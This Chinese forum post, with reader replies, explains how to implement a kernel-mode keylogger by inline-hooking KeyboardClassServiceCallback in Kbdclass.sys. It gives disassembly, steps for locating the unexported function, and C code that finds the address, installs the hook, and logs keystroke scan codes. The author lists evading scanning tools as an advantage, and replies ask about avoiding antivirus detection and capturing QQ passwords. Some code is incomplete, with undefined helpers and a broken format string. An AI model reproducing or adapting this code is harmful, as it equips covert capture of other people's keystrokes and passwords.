首页
社区
课程
招聘
[原创]键盘记录器的另一种实现
发表于: 2007-5-31 18:15 20421

[原创]键盘记录器的另一种实现

2007-5-31 18:15
20421

键盘记录器的另一种实现方法

   网上流传的键盘记录器种类实在是太多了,从Ring3层最简单的GetKeyboardState、键盘钩子到Ring0的kbfiltr、IDTHook、直接IO端口等等,这些实现方法和代码网上都有很多的资料可以查询,今天这里要介绍是另一种Ring0键盘记录器,通过InlineHook Kbdclass.sys的KeyboardClassServiceCallback函数来实现(呵呵,没错,又Hook),该函数可以从WinDDK的Kbdclass源代码找到它的原型,如下:
VOID
KeyboardClassServiceCallback(
    IN PDEVICE_OBJECT DeviceObject,
    IN PKEYBOARD_INPUT_DATA InputDataStart,
    IN PKEYBOARD_INPUT_DATA InputDataEnd,
    IN OUT PULONG InputDataConsumed
    )
typedef struct _KEYBOARD_INPUT_DATA {
    // Unit number.  E.g., for \Device\KeyboardPort0 the unit is '0',
    // for \Device\KeyboardPort1 the unit is '1', and so on.
    USHORT UnitId;
    // The "make" scan code (key depression).
    USHORT MakeCode;
    // The flags field indicates a "break" (key release) and other
    // miscellaneous scan code information defined below.
    USHORT Flags;
    USHORT Reserved;
    // Device-specific additional information for the event.
    ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
#define KEY_MAKE  0                        某个键被按下
#define KEY_BREAK 1                                某个键被释放
#define KEY_E0    2                                控制键被按下(如:Ctrl、Alt)
#define KEY_E1    4                                控制键被释放(同上)

这种实现方法的优点与缺点:
优点:
1.可以不用考虑键盘是PS/2的,还是USB的
2.Hook的位置比较深,可以有效的躲开一些扫描工具
3.相对来说,实现也比较简单,只需要关注一个CallBack函数即可
缺点:
1.与标准的键盘过滤驱动相比,稳定性差一点
2.与IDTHook相比,不够底层(如:不能获取QQ的按键信息, 用其它一些手段还是很容易得到QQ的按键信息的,呵呵)

具体实现:
由于Kbdclass内并没有导出该死的KeyboardClassServiceCallback,所以我们第一步是找到该函数在内核内的地址,从IDA反汇编的情况来看,KeyboardClassServiceCallback会被KeyboardAddDeviceEx函数引用
PAGE:00013587                 mov     [esi+4], eax
PAGE:0001358A                 mov     eax, dword_12044
PAGE:0001358F                 cmp     eax, esi
PAGE:00013591                 jz      loc_136E9
PAGE:00013597                 cmp     eax, ecx
PAGE:00013599                 jnz     loc_136D7
PAGE:0001359F                 push    offset _KeyboardClassServiceCallback@16 ; KeyboardClassServiceCallback(x,x,x,x)
PAGE:000135A4                 push    esi
PAGE:000135A5                 call    _KbdSendConnectRequest@8 ; KbdSendConnectRequest(x,x)
PAGE:000135AA                 mov     edi, offset dword_12058
PAGE:000135AF                 mov     ecx, edi
PAGE:000135B1                 mov     [ebp+var_4], eax
PAGE:000135B4                 call    ds:__imp_@ExAcquireFastMutex@4 ; ExAcquireFastMutex(x)
PAGE:000135BA                 mov     eax, dword_1204C
PAGE:000135BF                 test    eax, eax
PAGE:000135C1                 jbe     short loc_135E8
我们只要找到KeyboardAddDeviceEx,而这该死的KeyboardAddDeviceEx函数也不被任何导出的函数引用,所以只有断续往前推,发现在DriverEntry函数内被调用两次
第一次被调用:
INIT:00014192                 lea     eax, [ebp+DeviceObject]
INIT:00014198                 push    eax             ; DeviceObject
INIT:00014199                 push    offset unk_12084 ; int
INIT:0001419E                 push    [ebp+IoObject]  ; IoObject
INIT:000141A4                 call    _KbdCreateClassObject@20 ; KbdCreateClassObject(x,x,x,x,x)
INIT:000141A9                 cmp     eax, ebx
INIT:000141AB                 mov     [ebp+var_20C], eax
INIT:000141B1                 jl      loc_142A7
INIT:000141B7                 mov     eax, [ebp+DeviceObject]
INIT:000141BD                 mov     eax, [eax+28h]
INIT:000141C0                 push    ebx             ; int
INIT:000141C1                 push    [ebp+ValueName] ; ValueName
INIT:000141C7                 mov     dword_12044, eax
INIT:000141CC                 push    eax             ; int
INIT:000141CD                 mov     [eax+28h], bl
INIT:000141D0                 call    _KeyboardAddDeviceEx@12 ; KeyboardAddDeviceEx(x,x,x)
INIT:000141D5                 push    ebx             ; Tag
INIT:000141D6                 push    [ebp+ValueName] ; P
INIT:000141DC                 call    ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
INIT:000141E2                 mov     eax, [ebp+DeviceObject]
INIT:000141E8                 and     byte ptr [eax+1Ch], 7Fh
INIT:000141EC                 mov     [ebp+ValueName], ebx

第二次被调用:

NIT:0001441F                 lea     edi, [esi+8]
INIT:00014422                 push    edi             ; DeviceObject
INIT:00014423                 lea     eax, [ebp+FileObject]
INIT:00014429                 push    eax             ; FileObject
INIT:0001442A                 push    80h             ; DesiredAccess
INIT:0001442F                 lea     eax, [ebp+ObjectName]
INIT:00014435                 push    eax             ; ObjectName
INIT:00014436                 call    ds:__imp__IoGetDeviceObjectPointer@16 ; IoGetDeviceObjectPointer(x,x,x,x)
INIT:0001443C                 test    eax, eax
INIT:0001443E                 jl      loc_14518
INIT:00014444                 mov     eax, [edi]
INIT:00014446                 mov     al, [eax+30h]
INIT:00014449                 mov     ecx, [ebp+DeviceObject]
INIT:0001444F                 inc     al
INIT:00014451                 mov     [ecx+30h], al
INIT:00014454                 push    [ebp+FileObject] ; int
INIT:0001445A                 push    [ebp+ValueName] ; ValueName
INIT:00014460                 push    esi             ; int
INIT:00014461                          call    _KeyboardAddDeviceEx@12 ; KeyboardAddDeviceEx(x,x,x)
INIT:00014466                 cmp     [ebp+ValueName], ebx
INIT:0001446C                 mov     edi, eax
INIT:0001446E                 jz      short loc_14483
INIT:00014470                 push    ebx             ; Tag
INIT:00014471                 push    [ebp+ValueName] ; P
INIT:00014477                 call    ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
INIT:0001447D                 mov     [ebp+ValueName], ebx

通过上面的分析,我来来总结一下Hook KeyboardClassServiceCallback的步骤:
1.通过在Kbdclass.sys文件中的INIT节内搜索对IoGetDeviceObjectPointer函数的调用,以些来定位KeyboardAddDeviceEx函数(从INIT节开始搜索,而不是DriverEntry开始的原因是为了兼容2000、xp、2003)
2.定位到KeyboardAddDeviceEx函数后,再从KeyboardAddDeviceEx定位KeyboardClassServiceCallback函数
3.Inline Hook KeyboardClassServiceCallback
4.在新的KeyboardClassServiceCallback函数内处理键盘信息
5.结束

下面是实现代码:

得到        KeyboardClassServiceCallback函数在内核内的地址

ULONG        GetKbdServiceCallBackAddr(PUCHAR Base, ULONG Size, ULONG DriverEntry, ULONG uIATAddr, ULONG ImageBase)
{       
        ULONG uKbdServiceCallBackAddr = 0;
        ULONG nRetCode = FALSE;
               
        ULONG        i = 0;
        PUCHAR        Buffer = (PUCHAR)DriverEntry;
        ULONG        OpcodeLen = 0;
        ULONG        KeyboardAddDeviceExRoutine = 0;

        PROCESS_ERROR(Size > DriverEntry - (ULONG)Base + 0x1200);
        __try
        {
                i = 0;

                while (i < 0x1000 )
                {
                        if (Buffer[i] == 0xFF &&                                //call dword ptr[xxxxx]
                                Buffer[i + 1] == 0x15)
                        {
                                if ( *(ULONG*)(Buffer + i + 2) == uIATAddr )        //判断是否是调用IoGetDeviceObjectPointer函数
                                {
                                        break;
                                }
                        }
                        OpcodeLen = GetOpcodeLen(Buffer + i);
                        PROCESS_ERROR(OpcodeLen);
                        i += OpcodeLen;
                }
                PROCESS_ERROR(i < 0x1000);

                while (i < 0x1000)                                                        //查找KeyboardAddDeviceEx函数地址
                {
                        if (Buffer[i] == 0xE8)
                        {
                                 KeyboardAddDeviceExRoutine = (ULONG)Buffer + i + *(ULONG*)(Buffer + i + 1) + 5;
                                 break;
                        }
                        OpcodeLen = GetOpcodeLen(Buffer + i);
                        PROCESS_ERROR(OpcodeLen);
                        i += OpcodeLen;

                }
                PROCESS_ERROR(KeyboardAddDeviceExRoutine);
               
                Buffer = (PUCHAR) KeyboardAddDeviceExRoutine;

                i = 0;

                while (i < 0x200)
                {
                        if (Buffer[i] == 0xF &&                                //Jnz xxxxx
                                Buffer[i + 1] == 0x84 &&               
                                Buffer[i + 6] == 0x3B &&                //cmp eax, ecx
                                Buffer[i + 7] == 0xC1 &&
                                Buffer[i + 8] == 0x0F &&                //jnz xxxxx
                                Buffer[i + 9] == 0x85 &&
                                Buffer[i + 14] == 0x68 &&                //push KbdServiceCallBack
                                Buffer[i + 20] == 0xE8                         //call KbdSendConnectRequest

                                )
                        {
                                uKbdServiceCallBackAddr = *(ULONG*)(Buffer + i + 14 + 1);
                                break;
                        }
                        OpcodeLen = GetOpcodeLen(Buffer + i);
                        PROCESS_ERROR(OpcodeLen);
                        i += OpcodeLen;

                }
                PROCESS_ERROR(i < 0x200);
                PROCESS_ERROR(uKbdServiceCallBackAddr);

                uKbdServiceCallBackAddr -= ImageBase;
                Buffer = Base + uKbdServiceCallBackAddr;

                i = 0;
                while (i < 0x100)
                {
                        if (Buffer[i] == 0xFF &&                                //call dword ptr[xxxxx]
                                Buffer[i + 1] == 0x15       
                                )
                        {
                                uKbdServiceCallBackAddr = (ULONG)(Buffer + i) - (ULONG)Base;
                                goto Exit0;
                        }
                        OpcodeLen = GetOpcodeLen(Buffer + i);
                        PROCESS_ERROR(OpcodeLen);
                        i += OpcodeLen;

                }
                PROCESS_ERROR(i < 0x100);

               
        }
        __except(1)
        {
                goto Exit0;
        }

Exit0:

        return uKbdServiceCallBackAddr;
}
INLINE_HOOK_CONTEXT_BLOCK HookKbdClassBlock = {0};

#define Kbdclass_sys "\\SystemRoot\\System32\\Drivers\\Kbdclass.sys"

该死的HOOK
int HookKbdClassServiceCallBack()
{
        int nResult = FALSE;
        int nRetCode = FALSE;
        NTSTATUS status = STATUS_UNSUCCESSFUL;

        UNICODE_STRING        usDriverName;
        PDRIVER_OBJECT        DriverObject = NULL;
        ULONG                        i = 0;
        ULONG                        OrgRoutineProc = 0;
        KPELIB                        pe;
        ULONG                        uEntryPoint = 0;
        UCHAR                        *pMap = NULL;
        ULONG                        uIATAddr = 0;
        IMAGE_SECTION_HEADER *pSecHdr = NULL;

        DEBUG_BREAK;
        RtlInitUnicodeString(&usDriverName, L"\\Driver\\Kbdclass");

        status = ObReferenceObjectByName(
                &usDriverName,
                0, NULL,
                0, Api._IoDriverObjectType,
                KernelMode, NULL,  
                (PVOID*)&DriverObject
                );
        PROCESS_DDK_ERROR(status);
       
        nRetCode = pe.Init(Kbdclass_sys, GENERIC_READ);
        PROCESS_ERROR(nRetCode);
        pSecHdr = pe.FindSecByName("INIT");
        PROCESS_ERROR(pSecHdr);

       

        pMap = pe.GetMap();
        uEntryPoint = (ULONG)DriverObject->DriverInit - (ULONG)DriverObject->DriverStart;
        uIATAddr = pe.GetIAT("ntoskrnl.exe", "IoGetDeviceObjectPointer");
        uIATAddr += pe.GetImageBase();

        OrgRoutineProc = GetKbdServiceCallBackAddr(
                (PUCHAR)pMap,
                pe.GetMapSize(),
                pSecHdr->VirtualAddress + (ULONG)pMap,
                uIATAddr,
                pe.GetImageBase()
                );
        PROCESS_ERROR(OrgRoutineProc);
       
        //OrgRoutineProc -= pe.GetImageBase();
        OrgRoutineProc += (ULONG)DriverObject->DriverStart;

        nRetCode = InlineHookFunctionByAddr(
                KeyboardClassServiceCallback, OrgRoutineProc, 6,
                &HookKbdClassBlock
                );
        PROCESS_ERROR(nRetCode);
        GlobalData.IsHooked = TRUE;
        nResult = TRUE;
Exit0:
        if (DriverObject)
        {
                ObDereferenceObject(DriverObject);

        }
        pe.Unit();
        return nResult;
}

//注意,这里取到的只是扫描码,怎么转换成Ascii码,大家自己网上找吧:)
__declspec(naked)
VOID
KeyboardClassServiceCallback(
                                                         IN PDEVICE_OBJECT DeviceObject,
                                                         IN PKEYBOARD_INPUT_DATA InputDataStart,
                                                         IN PKEYBOARD_INPUT_DATA InputDataEnd,
                                                         IN OUT PULONG InputDataConsumed
                                                         )
{
       
                dprintf("UnitId: %08X   MakeCode: %c  Flags: %08X  ExtraInformation: %08X                         InputDataStart->UnitId,
                        InputDataStart->MakeCode,
                        InputDataStart->Flags,
                        InputDataStart->ExtraInformation
                        );

        __asm
        {
                ret
        }
}


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (20)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
This style is so familiar!!!
2007-5-31 19:08
0
雪    币: 218
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
NaX
3
支持老Y的好文章
2007-5-31 19:48
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
怎么都用VC实现,就没有用WIN32汇编的吗?
2007-5-31 20:46
0
雪    币: 1583
活跃值: (831)
能力值: ( LV13,RANK:370 )
在线值:
发帖
回帖
粉丝
5
 
2007-5-31 22:01
0
雪    币: 163
活跃值: (60)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
6
2007-5-31 22:49
0
雪    币: 163
活跃值: (60)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
7
用C写代码还是快上不少
2007-5-31 22:50
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
好东西大家都支持
2007-5-31 23:25
0
雪    币: 415
活跃值: (34)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
老潜水员发的潜力贴.
2007-6-1 02:22
0
雪    币: 223
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
哈哈,,,这种方法直接用,会被查杀的么?
2007-6-1 11:58
0
雪    币: 220
活跃值: (12)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
good !!!!
2007-6-1 12:32
0
雪    币: 82
活跃值: (627)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
hao  
这个是键盘输入最原始的消息吗?
咋没放出程序来试下啊..
np好记嘛.. 
2007-6-1 16:27
0
雪    币: 163
活跃值: (60)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
13
np是什么,nProtect吗??

没有nProtect底层
2007-6-1 16:48
0
雪    币: 1505
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
14
能获取qq的密码吗
2007-6-1 17:15
0
雪    币: 163
活跃值: (60)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
15
不能,要获得QQ密码要用其它一些技巧
2007-6-1 17:32
0
雪    币: 296
活跃值: (20)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
16
very familiar
2007-6-1 23:39
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
17
十分支持!!
学习了
2007-6-2 11:05
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
竟然被你抢了sofa
2007-6-2 12:00
0
雪    币: 209
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
俺的水平低,有一点看不懂
2007-6-18 10:53
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
20
呵呵,收藏了。
2007-12-7 11:41
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
请教 KPELIB的原型是什么样的结构?
哪个帮忙说下  感激ing
2007-12-18 14:34
0
游客
登录 | 注册 方可回帖
返回
//